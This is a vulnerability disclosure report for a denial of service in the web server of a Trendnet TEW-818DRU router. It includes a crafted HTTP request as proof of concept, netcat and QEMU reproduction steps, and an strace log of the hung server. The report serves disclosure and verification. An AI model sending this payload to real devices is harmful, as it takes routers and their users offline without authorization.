Trendnet FW_TEW_818DRU_v1_1.0.14.6_ Local (LAN) Denial of Service Vulnerability, without Authentication

Basic Info

Vendor: Trendnet
Device: FW_TEW_818DRU
Version: FW_TEW_818DRU_v1_1.0.14.6_
Vulnerability Impact: Denial of Service
Vulnerability Type:Denial of Service
Is authentication required: No

Vulnerability description

We discovered a denial-of-service vulnerability that can directly cause the web server on a remote device to become unresponsive to other requests after receiving a specific request, leading to a denial of service attack.

This vulnerability is present in the `/usr/sbin/httpd` binary. When `httpd` receives a crafted HTTP request, it becomes persistently blocked and unable to process new requests.

PoC

We've attached 1 PoC that trigger the vulnerability. We also provided a minimized PoC that can trigger the vulnerability to help verify the issue and identify the root cause.

PoC:
(https://drive.google.com/file/d/1SbZ63uqg6QJYjPFcLY5wBqWrh-NMrnZq/view?usp=drive_link)

```
GET /b000000000000000.00000000
Host:
Content-Length:
User-Agent:
0
0
Referer:
0
0
```

```
0
0
0
0
```

Result

When `/usr/sbin/htttpd`, the web server, is started, sending any of the above PoCs will leading to a denial of service attack.

Fitst, running the binary with QEMU.

Second, send the PoC to the web server's listening address using netcat.

Third, check if the program hasblocked.

The program will block at the accept function, waiting to receive the remaining content of the request.

```
109 accept(3,0x40800d88,[16]) = 4
109 fcntl(4,F_GETFL) = 131074
109 ioctl(4,TCGETS,0x40800b7c) = -1 errno=25 (Inappropriate ioctl for device)
109 open("/tmp/peer_ip",O_WRONLY|O_CREAT|O_TRUNC,0666) = 5
109 ioctl(5,TCGETS,0x40800b7c) = -1 errno=25 (Inappropriate ioctl for device)
109 write(5,0x91118,47) = 47
109 close(5) = 0
109 open("/tmp/httpd.conf",O_RDONLY) = -1 errno=2 (No such file or directory)
109 socket(PF_UNIX,SOCK_DGRAM,IPPROTO_IP) = 5
109 fcntl(5,F_SETFD,1) = 0
109 fcntl(5,F_GETFL) = 131074
109 fcntl(5,F_SETFL,O_RDWR|O_LARGEFILE|O_NONBLOCK) = 0
109 connect(5,0x408cef58,16) = -1 errno=2 (No such file or directory)
109 close(5) = 0
109 socket(PF_UNIX,SOCK_STREAM,IPPROTO_IP) = 5
109 fcntl(5,F_SETFD,1) = 0
109 fcntl(5,F_GETFL) = 131074
109 fcntl(5,F_SETFL,O_RDWR|O_LARGEFILE|O_NONBLOCK) = 0
109 connect(5,0x408cef58,16) = -1 errno=2 (No such file or directory)
109 close(5) = 0
109 gettimeofday(0x408007c0,NULL) = 0 ({tv_sec = 1734331966,tv_usec = 370787},NULL)
109 open("/etc/TZ",O_RDONLY) = -1 errno=2 (No such file or directory)
109 open("/etc/localtime",O_RDONLY) = -1 errno=2 (No such file or directory)
109 rt_sigaction(SIGALRM,0x407ee394,NULL) = 0
109 setitimer(ITIMER_REAL,{it_interval={tv_sec = 0,tv_usec = 0},it_value={tv_sec = 2,tv_usec = 0},},0x
109 read(4,0x900a8,4096) = 90
109 setitimer(ITIMER_REAL,{it_interval={tv_sec = 0,tv_usec = 0},it_value={tv_sec = 0,tv_usec = 0},},0x
#
```